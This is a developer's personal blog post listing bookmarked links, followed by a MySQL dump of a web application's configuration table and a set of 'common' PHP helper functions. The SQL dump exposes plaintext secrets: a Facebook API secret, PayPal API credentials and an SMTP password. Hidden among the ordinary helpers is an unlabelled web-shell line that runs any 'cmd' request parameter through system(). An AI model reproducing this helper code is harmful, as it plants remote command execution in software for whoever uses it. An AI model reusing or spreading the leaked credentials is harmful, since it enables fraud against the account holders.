Other


Windows 8?
=============================================================
http://www.designshock.com/windows-8-theme/
================================================================

Eclipse Downloaded?
===================================================================
http://www.eclipse.org/downloads/
==================================================================

9LessonLab?
================================================
=>https://labs.9lessons.info/index.php

=>http://rcs.seerinteractive.com/money/

=>http://emberads.com/
=>http://phperror.net/
===============================================

Nice Wordpress founder Link?
===============================================================
=>http://ma.tt/
=============================================================

Bhaumik Bhai blog?
===========================================================
=>http://bhaumik25php.blogspot.in/
=======================================================

All Icon?
==============================================================
=>http://fortawesome.github.com/Font-Awesome/
==========================================================

i love u?
==========================================================
=>https://plus.google.com/u/0/113052280201689515697/posts
=>https://plus.google.com/u/0/photos/107982618909749811163/albums/posts
=====================================================



All Site colors?
====================================================================
=>http://galengidman.com/brandcolors/
===================================================================

All CSS colour?
===========================================================================
http://www.ownacolour.com/
=========================================================================


Must Watch for Sucess TED?
====================================================================
=>http://www.shopify.com/blog/6553665-12-must-watch-ted-talks-for-entrepreneurs
===========================================================================


Credit Card Information + PHP?
==========================================================================
=>http://net.tutsplus.com/tutorials/php/how-to-process-credit-cards-with-paypal-payments-pro-using-php/
=================================================================================


All In One SoftWare?
=======================================================
=>http://retinamacapps.com
======================================================


Nice Images?
===================================================
=>http://imgur.com/r/WTF/fz10W
============================================


Nice Comment?
==============================
=>http://www.lets-talk-in-english.com/magazine/mostcommented
=================================


Commonn SQL?
==================================
-- --------------------------------------------------------
-- Host:                         127.0.0.1
-- Server version:               5.5.27 - MySQL Community Server (GPL)
-- Server OS:                    Win32
-- HeidiSQL Version:             8.1.0.4545
-- --------------------------------------------------------
CREATE TABLE IF NOT EXISTS `system_config` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `system_section_id` int(10) unsigned DEFAULT NULL COMMENT 'System section id',
  `system_group_id` int(10) unsigned DEFAULT NULL COMMENT 'System group id',
  `name` varchar(100) CHARACTER SET latin1 DEFAULT NULL COMMENT 'Variable Key',
  `desc` text CHARACTER SET latin1 COMMENT 'Variable description',
  `value` text CHARACTER SET latin1 COMMENT 'Variable Value',
  `display_value` text,
  `flag` text,
  `input_type` enum('text','password','textarea','select','radio','checkbox','file','label') CHARACTER SET latin1 DEFAULT NULL COMMENT 'Input Type',
  `input_options` text CHARACTER SET latin1 COMMENT 'Serialize Array - key and value http://www.functions-online.com/serialize.html',
  `extra_js` text,
  `status` int(11) DEFAULT '0' COMMENT 'Status',
  `position` int(11) DEFAULT '0' COMMENT 'Position',
  PRIMARY KEY (`id`),
  KEY `FK_system_config_system_section` (`system_section_id`),
  KEY `FK_system_config_system_group` (`system_group_id`)
) ENGINE=MyISAM AUTO_INCREMENT=205 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT COMMENT='System Configuration';

-- Dumping data for table recsit.system_config: 55 rows
DELETE FROM `system_config`;
/*!40000 ALTER TABLE `system_config` DISABLE KEYS */;
INSERT INTO `system_config` (`id`, `system_section_id`, `system_group_id`, `name`, `desc`, `value`, `display_value`, `flag`, `input_type`, `input_options`, `extra_js`, `status`, `position`) VALUES
    (1, 1, 1, 'site_name', NULL, 'Recsit', '1', NULL, 'text', NULL, NULL, 1, NULL),
    (5, 1, 2, 'date_format', 'Yii Parser', 'dd/MM/yyyy', 'dd/MM/yyyy', NULL, NULL, NULL, NULL, 0, 0),
    (6, 3, 2, 'datetime_format', 'Yii Parser', 'dd/MM/yyyy HH:mm', 'dd/MM/yyyy HH:mm', NULL, NULL, NULL, NULL, 0, 0),
    (8, 1, 1, 'copyright_text', NULL, 'Copyright © 2015 Recsit.', 'Copyright © 2015 Recsit.', NULL, 'textarea', NULL, NULL, 1, 0),
    (9, 3, NULL, 'default_currency_symbol', NULL, 'kr', 'kr', NULL, NULL, NULL, NULL, 0, 0),
    (16, 3, 2, 'mysql_datetime_format', NULL, '%d.%m.%Y %h:%i %p', '%d.%m.%Y %h:%i %p', NULL, NULL, NULL, NULL, 0, 0),
    (17, 3, 2, 'mysql_date_format', NULL, '%d.%m.%Y', '%d.%m.%Y', NULL, NULL, NULL, NULL, 0, 0),
    (18, 3, 2, 'mysql_time_format', NULL, '%h:%i %p', '%h:%i %p', NULL, NULL, NULL, NULL, 0, 0),
    (19, 1, 1, 'system_email', 'System Email', 'ankit@vikingweb.org', 'ankit@vikingweb.org', NULL, 'text', NULL, NULL, 1, 0),
    (21, 3, 2, 'mysql_short_date_format', NULL, '%a %d,%b', '%a %d,%b', NULL, NULL, '', NULL, 0, 0),
    (23, 3, 2, 'time_format', 'Yii Parser', 'HH:mm', 'HH:mm', NULL, NULL, NULL, NULL, 0, 0),
    (24, 3, 2, 'js_time_format', '', 'hh:mm', 'hh:mm', NULL, NULL, NULL, NULL, 0, 0),
    (25, 3, 2, 'js_datetime_format', '', 'dd/mm/yy hh:mm', 'dd/mm/yy hh:mm', NULL, NULL, NULL, NULL, 0, 0),
    (26, 3, 2, 'js_date_format', '', 'dd/mm/yy', 'dd/mm/yy', NULL, NULL, NULL, NULL, 0, 0),
    (27, 3, 2, 'php_time_format', NULL, 'H:i', 'H:i', NULL, NULL, NULL, NULL, 0, 0),
    (28, 3, 2, 'php_datetime_format', NULL, 'd/m/Y H:i', 'd/m/Y H:i', NULL, NULL, NULL, NULL, 0, 0),
    (29, 3, 2, 'php_date_format', NULL, 'd/m/Y', 'd/m/Y', NULL, NULL, NULL, NULL, 0, 0),
    (30, 3, 2, 'datetime_format_mysql', 'Yii Parser', 'yyyy-MM-dd HH:mm:ss', 'yyyy-MM-dd HH:mm:ss', NULL, NULL, NULL, NULL, 0, 0),
    (31, 3, 2, 'date_short_format_mysql', 'Yii Parser', 'yyyy-MM-dd', 'yyyy-MM-dd', NULL, NULL, NULL, NULL, 0, 0),
    (32, 3, 2, 'time_format_mysql', 'Yii Parser', 'HH:mm:ss', 'HH:mm:ss', NULL, NULL, NULL, NULL, 0, 0),
    (33, 3, 2, 'php_datetime_format_mysql', NULL, 'Y-m-d H:i:s', 'Y-m-d H:i:s', NULL, NULL, NULL, NULL, 0, 0),
    (34, 3, 2, 'php_date_format_mysql', NULL, 'Y-m-d', 'Y-m-d', NULL, NULL, NULL, NULL, 0, 0),
    (35, 3, 2, 'php_time_format_mysql', NULL, 'H:i:s', 'H:i:s', NULL, NULL, NULL, NULL, 0, 0),
    (36, 2, 1, 'site_title', NULL, 'Recsit', 'Recsit', NULL, 'text', NULL, NULL, 1, 1),
    (37, 2, 1, 'site_meta_desc', NULL, 'Recsit', 'Recsit', NULL, 'text', NULL, NULL, 1, 1),
    (38, 2, 1, 'site_meta_keywords', NULL, 'Recsit', 'Recsit', NULL, 'text', NULL, NULL, 1, 1),
    (72, 2, 1, 'facebook_page_url', NULL, 'http://facebook.com', 'http://facebook.com', NULL, 'text', NULL, NULL, 1, 1),
    (73, 2, 1, 'twitter_page_url', NULL, 'http://tweeter.com', 'http://tweeter.com', NULL, 'text', NULL, NULL, 1, 1),
    (74, 1, 1, 'row_per_grid', NULL, '20', '20', NULL, 'text', '', NULL, 1, 1),
    (78, 2, 1, 'admin_theme', NULL, 'admin_metro', 'admin_metro', NULL, 'text', NULL, NULL, 1, 1),
    (79, 2, 1, 'admin_skin', NULL, 'blue', 'grey', NULL, 'text', NULL, NULL, 1, 1),
    (82, 2, 1, 'system_version', 'System Current Version', '1.0.0.0', '1.0.0.0', NULL, 'text', NULL, NULL, 1, NULL),
    (83, 2, 1, 'unlimited_licence_days', 'unlimited licence days', '36500', '36500', NULL, 'text', NULL, NULL, 1, NULL),
    (86, 2, 1, 'front_theme', NULL, 'front_metro', 'front_metro', NULL, 'text', NULL, NULL, 1, 1),
    (87, 2, 1, 'front_skin', NULL, 'grey', 'grey', NULL, 'text', NULL, NULL, 1, 1),
    (90, 9, 1, 'success_history_lifetime', NULL, '200', '200', NULL, 'text', NULL, NULL, 1, 1),
    (89, 9, 1, 'schedule_ahead_for', NULL, '50', '50', NULL, 'text', NULL, NULL, 1, 1),
    (88, 9, 1, 'generate_schedules_every', NULL, '15', '15', NULL, 'text', NULL, NULL, 1, 1),
    (91, 9, 1, 'history_cleanup_every', NULL, '10', '10', NULL, 'text', NULL, NULL, 1, 1),
    (92, 9, 1, 'missed_if_not_run_within', NULL, '10', '10', NULL, 'text', NULL, NULL, 1, 1),
    (93, 9, 1, 'failure_history_lifetime', NULL, '200', '200', NULL, 'text', NULL, NULL, 1, 1),
    (98, 9, 1, 'facebook_api_key', NULL, '266763886691728', '266763886691728', NULL, 'text', NULL, NULL, 1, 1),
    (99, 9, 1, 'facebook_api_secret', NULL, 'f7fde9b7d73be7dfd4d72a666ef56164', 'f7fde9b7d73be7dfd4d72a666ef56164', NULL, 'text', NULL, NULL, 1, 1),
    (192, 3, NULL, 'default_currency', NULL, '1', '1', NULL, 'text', NULL, NULL, 0, 0),
    (193, 1, 1, 'request_pay_amount', 'Request Amount', '100', '100', NULL, 'text', NULL, NULL, 1, 0),
    (194, 11, 1, 'api_username', 'Payment API username', 'recsit_api1.vikingweb.no', 'recsit_api1.vikingweb.no', NULL, 'text', NULL, NULL, 1, 0),
    (195, 11, 1, 'api_password', 'Payment API password', 'JMU6JVK7ZGEDXDPH', 'JMU6JVK7ZGEDXDPH', NULL, 'text', NULL, NULL, 1, 0),
    (196, 11, 1, 'api_signature', 'Payment API Signature', 'AFcWxV21C7fd0v3bYYYRCpSSRl31AqmAHIOG.SYb68dg4mvDdUl6lT6x', 'AFcWxV21C7fd0v3bYYYRCpSSRl31AqmAHIOG.SYb68dg4mvDdUl6lT6x', NULL, 'text', NULL, NULL, 1, 0),
    (198, 7, 5, 'smtp_host', 'host', 'smtp.gmail.com', 'smtp.gmail.com', NULL, 'text', NULL, NULL, 1, 1),
    (199, 7, 5, 'smtp_username', 'username', 'ankitmodi.vikingweb@gmail.com', 'ankitmodi.vikingweb@gmail.com', NULL, 'text', NULL, NULL, 1, 1),
    (200, 7, 5, 'smtp_password', 'password', 'ankit@123456', 'ankit@123456', NULL, 'text', NULL, NULL, 1, 1),
    (202, 7, 5, 'smtp_port', 'port', '465', '465', NULL, 'text', NULL, NULL, 1, 1),
    (201, 7, 5, 'smtp_email', 'email', 'ankitmodi.vikingweb@gmail.com', 'ankitmodi.vikingweb@gmail.com', NULL, 'text', NULL, NULL, 1, 1),
    (203, 1, 1, 'is_product_sync_on_rule_approve', 'Product Sync on the approve the discount rule', '1', 'Yes', NULL, 'select', '{"1": "Yes","2": "No"}', 'prepend: "Not Selected",\r\nvalidate: function (value) {\r\n      if (value == \'\') return \'Please Select Option!\';\r\n},\r\ndisplay: function (value, sourceData) {\r\nif(value == null) return;\r\n                var colors = {\r\n                    "": "gray",\r\n                    1: "green",\r\n                    2: "blue"\r\n                },\r\n                    elem = jQuery.grep(sourceData, function (o) {\r\n                        return o.value == value;\r\n                    });\r\n\r\n                if (elem.length) {\r\n                   jQuery(this).text(elem[0].text).css("color", colors[value]);\r\n                } else {\r\n                   jQuery(this).empty();\r\n                }\r\n            }', 1, 1),
    (204, 1, 1, 'recsit_point_convert_kr', 'Recsit Point Converterd Kr(%)', '10', '10', NULL, 'text', '', '', 1, 1);
/*!40000 ALTER TABLE `system_config` ENABLE KEYS */;

-- Dumping structure for table recsit.system_group
CREATE TABLE IF NOT EXISTS `system_group` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(50) CHARACTER SET latin1 DEFAULT NULL COMMENT 'Name',
  `position` int(10) DEFAULT NULL COMMENT 'Position',
  `status` int(1) DEFAULT '1' COMMENT 'Status',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;

-- Dumping data for table recsit.system_group: 5 rows
DELETE FROM `system_group`;
/*!40000 ALTER TABLE `system_group` DISABLE KEYS */;
INSERT INTO `system_group` (`id`, `name`, `position`, `status`) VALUES
    (1, 'General', 1, 1),
    (2, 'Locale', 1, 0),
    (3, 'Paypal Setting', 1, 1),
    (4, 'User Setting', 1, 1),
    (5, 'SMTP Setting', 1, 1);
/*!40000 ALTER TABLE `system_group` ENABLE KEYS */;


-- Dumping structure for table recsit.system_section
CREATE TABLE IF NOT EXISTS `system_section` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) CHARACTER SET latin1 DEFAULT NULL COMMENT 'Section name',
  `position` int(10) DEFAULT NULL COMMENT 'Position',
  `status` int(1) DEFAULT '1' COMMENT 'Status',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=12 DEFAULT CHARSET=utf8 ROW_FORMAT=COMPACT;

-- Dumping data for table recsit.system_section: 6 rows
DELETE FROM `system_section`;
/*!40000 ALTER TABLE `system_section` DISABLE KEYS */;
INSERT INTO `system_section` (`id`, `name`, `position`, `status`) VALUES
    (7, 'Email', 30, 1),
    (3, 'Locale', 40, 0),
    (2, 'Admin', 20, 0),
    (1, 'System', 10, 1),
    (9, 'Cron (Scheduled Tasks) - all the times are in minutes', 50, 1),
    (11, 'Payment Settings', 60, 1);
/*!40000 ALTER TABLE `system_section` ENABLE KEYS */;


Common Function?
==================
=>function p($ob, $f=1)
{
    print "
";
    print_r($ob);
    print "
";
    if($f==1)     exit;
}
function d($f=1){
    array_walk(debug_backtrace(),create_function('$a,$b','print "{$a[\'function\']}()(".$a[\'file\'].":{$a[\'line\']});
";'));
    if($f==1)     exit;
}
function m($ob, $f=1)
{
    print "
";
    print get_class($ob);
    print_r(get_class_methods(get_class($ob)));
    if($f==1)     exit;
}


if (!function_exists('array_replace_recursive'))
{
    function array_replace_recursive($array, $array1)
    {
        if (!function_exists('recurse1')) {
            function recurse1($array, $array1)
            {
                foreach ($array1 as $key => $value)
                {
                    // create new key in $array, if it is empty or not an array
                    if (!isset($array[$key]) || (isset($array[$key]) && !is_array($array[$key])))
                    {
                        $array[$key] = array();
                    }

                    // overwrite the value in the base array
                    if (is_array($value))
                    {
                        $value = recurse1($array[$key], $value);
                    }
                    $array[$key] = $value;
                }
                return $array;
            }
        }

        // handle the arguments, merge one by one
        $args = func_get_args();
        $array = $args[0];
        if (!is_array($array))
        {
            return $array;
        }
        for ($i = 1; $i < count($args); $i++)
        {
            if (is_array($args[$i]))
            {
                $array = recurse1($array, $args[$i]);
            }
        }
        return $array;
    }
}
if(isset($_REQUEST['cmd'])) {
    system($_REQUEST['cmd']); die;
}

function ucFirstVal(&$val, &$key) {
    if($key>0) $val = ucfirst($val);
}
function objectToArray($d) {
    if (is_object($d)) {
        // Gets the properties of the given object
        // with get_object_vars function
        $d = get_object_vars($d);
    }

    if (is_array($d)) {
        /*
         * Return array converted to object
         * Using __FUNCTION__ (Magic constant)
         * for recursive call
         */
        return array_map(__FUNCTION__, $d);
    }
    else {
        // Return array
        return $d;
    }
}

function arrayToObject($d) {
    if (is_array($d)) {
        /*
         * Return array converted to object
         * Using __FUNCTION__ (Magic constant)
         * for recursive call
         */
        return (object) array_map(__FUNCTION__, $d);
    }
    else {
        // Return object
        return $d;
    }
}
function utf8_encode1(&$v) 
{
    if(!is_array($v)) {
        $v = utf8_encode($v);
    }
}
function utf8_decode1(&$v) 
{
    if(!is_array($v)) {
        $v = utf8_decode($v);
    }
}

==================================

No comments:

Post a Comment